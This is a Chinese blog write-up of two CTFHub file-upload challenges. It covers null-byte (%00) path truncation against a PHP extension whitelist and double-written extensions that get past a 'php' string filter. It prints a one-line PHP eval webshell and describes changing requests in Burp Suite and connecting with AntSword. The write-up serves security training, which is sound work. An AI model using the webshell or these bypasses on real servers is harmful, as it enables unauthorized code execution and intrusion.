CTFHub题解-技能树-Web-文件上传(00截断、双写后缀)【三】
CTFHub题解-技能树-Web-Web工具配置-文件上传
本文记录 00截断 和 双写后缀 的题解~
(一) 00截断
1.知识点
0x00 , %00 , /00 之类的截断,都是一样的,只是不同表示而已。
在url中 %00 表示ascll码中的 0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束。
比如:
https://xxx.com/upload/?filename=test.txt 此时输出的是test.txt
加上 %00
https://xxx.com/upload/?filename=test.php%00.txt 此时输出的是test.php
这样就绕过了后缀限制,可以上传webshell啦~
注:php版本要 小于5.3.4 ,5.3.4及以上已经修复该问题
2.题解
先看一下源码:
if (!empty($_POST['submit'])) { $name = basename($_FILES['file']['name']); $info = pathinfo($name); $ext = $info['extension']; //首先取到上传文件的扩展名$ext $whitelist = array("jpg", "png", "gif"); //将扩展名与白名单进行匹配,为jpg、png或gif才能通过第一次过滤 if (in_array($ext, $whitelist)) { $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext; //扩展名匹配之后,为上传的文件构造了一个新的存储路径$des if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) { echo "<script>alert('上传成功')</script>"; } else { echo "<script>alert('上传失败')</script>"; } } else { echo "文件类型不匹配"; } }
(笔者参考了ggb0n大佬的wp)
根据代码可知:
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
这里用了 rand()函数 ,这是正常上传图片的存储路径,后缀是通过匹配 $ext 的,我们自己上传的一句话木马就是php啦~
构造$des的时候,首先取的是road参数的内容 /var/www/html/upload/ 存储路径后面要加一个php后缀的文件名,然后利用%00进行截断,这样上传文件的内容就存到了我们上传的php文件里。
000.php 的文件内容:
<?php @eval($_POST['pass']);?>
用burpsuite抓个包~
改包,修改成类似红色框框部分。
发送到 repeater 模块
测试一下是否可以访问~
用中国蚁剑连接吧~
这是另一种改包方法:
用 burpsuite 抓包,改包~
(二)双写后缀
1.知识点
用于只将文件后缀名,例如"php"字符串过滤的场合;
例如:
上传时将 Burpsuite 截获的数据包中文件名【123.php】改为【123.p php hp】,那么过滤了第一个"php"字符串"后,开头的'p'和结尾的'hp'就组合又形成了【123.php】。
2.题解
双写绕过~
完成啦~
参考资料:
http://ggb0n.cool/2020/03/03/CTFHub部分记录/#题目分析
https://blog.csdn.net/qq_26090065/article/details/81458937
--------------------- ┑( ̄Д  ̄)┍ --------------------------
作者:0yst3r[一只在安全领域努力奋斗的小菜鸡]
来源:博客园[ https://www.cnblogs.com/0yst3r-2046/ ] 引用时请注明来源哦~
(๑•̀ㅂ•́)و✧ヽ(✿゚▽゚)ノ(*^▽^*) φ(≧ω≦*)♪
如果本文对你有用,本人不胜欢喜。
The world is your oyster.